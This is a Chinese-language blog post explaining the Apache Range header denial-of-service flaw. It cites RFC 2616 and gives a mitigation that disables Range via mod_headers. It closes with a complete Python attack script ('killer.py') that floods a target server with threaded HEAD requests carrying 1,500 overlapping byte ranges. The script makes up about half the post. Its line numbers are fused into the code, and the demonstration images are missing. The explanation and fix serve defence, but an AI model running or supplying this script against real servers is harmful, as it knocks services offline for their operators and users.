Apache Range Header DOS攻击

Apache Range Header DOS攻击

背景

http://lwn.net/Articles/456268/

Http协议之ByteRange

http://www.ietf.org/rfc/rfc2616.txt(14.35章节)

14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示

1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:


3.带Byte Range Header的请求,请看:



理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。
解决方案 1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题 2. 对于不是下载站点来说,建议禁用Byte Range,具体做法: 2.1 安装mod_headers模块 2.2 配置文件加上: RequestHeader unset Range
最后附上一个攻击脚本,做演示
 1 # encoding:utf8 2 #!/usr/bin/env python 3 import socket 4 import threading 5 import sys 6  7 headers = ''' 8 HEAD / HTTP/1.1 9 Host: %s10 Range: bytes=%s11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.812 13 '''14 15 #fragment count and loop count16 COUNT = 150017 #concurrent count18 PARALLEL = 5019 PORT = 8020 21 def req(server):22     try:23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)24         s.connect((server, PORT))25         s.send(headers % (server, fragment(COUNT)))26         s.close()27     except:28         print 'Server Seems Weak. Please Stop.'29 30 def fragment(n):31     ret = ''32     for i in xrange(n):33         if i == 0:34             ret = ret + '0-' + str(i + 1)35         else:36             ret = ret + ',0-' + str(i + 1)37     return ret38 39 def run(server):40     for _ in xrange(COUNT):41         req(server)42 43 if len(sys.argv) != 2:44     print 'killer.py $server'45     sys.exit(0)46 47 #run48 srv = sys.argv[1]49 for _ in xrange(PARALLEL):50     threading.Thread(target=run, args=(srv,)).start()51

相关推荐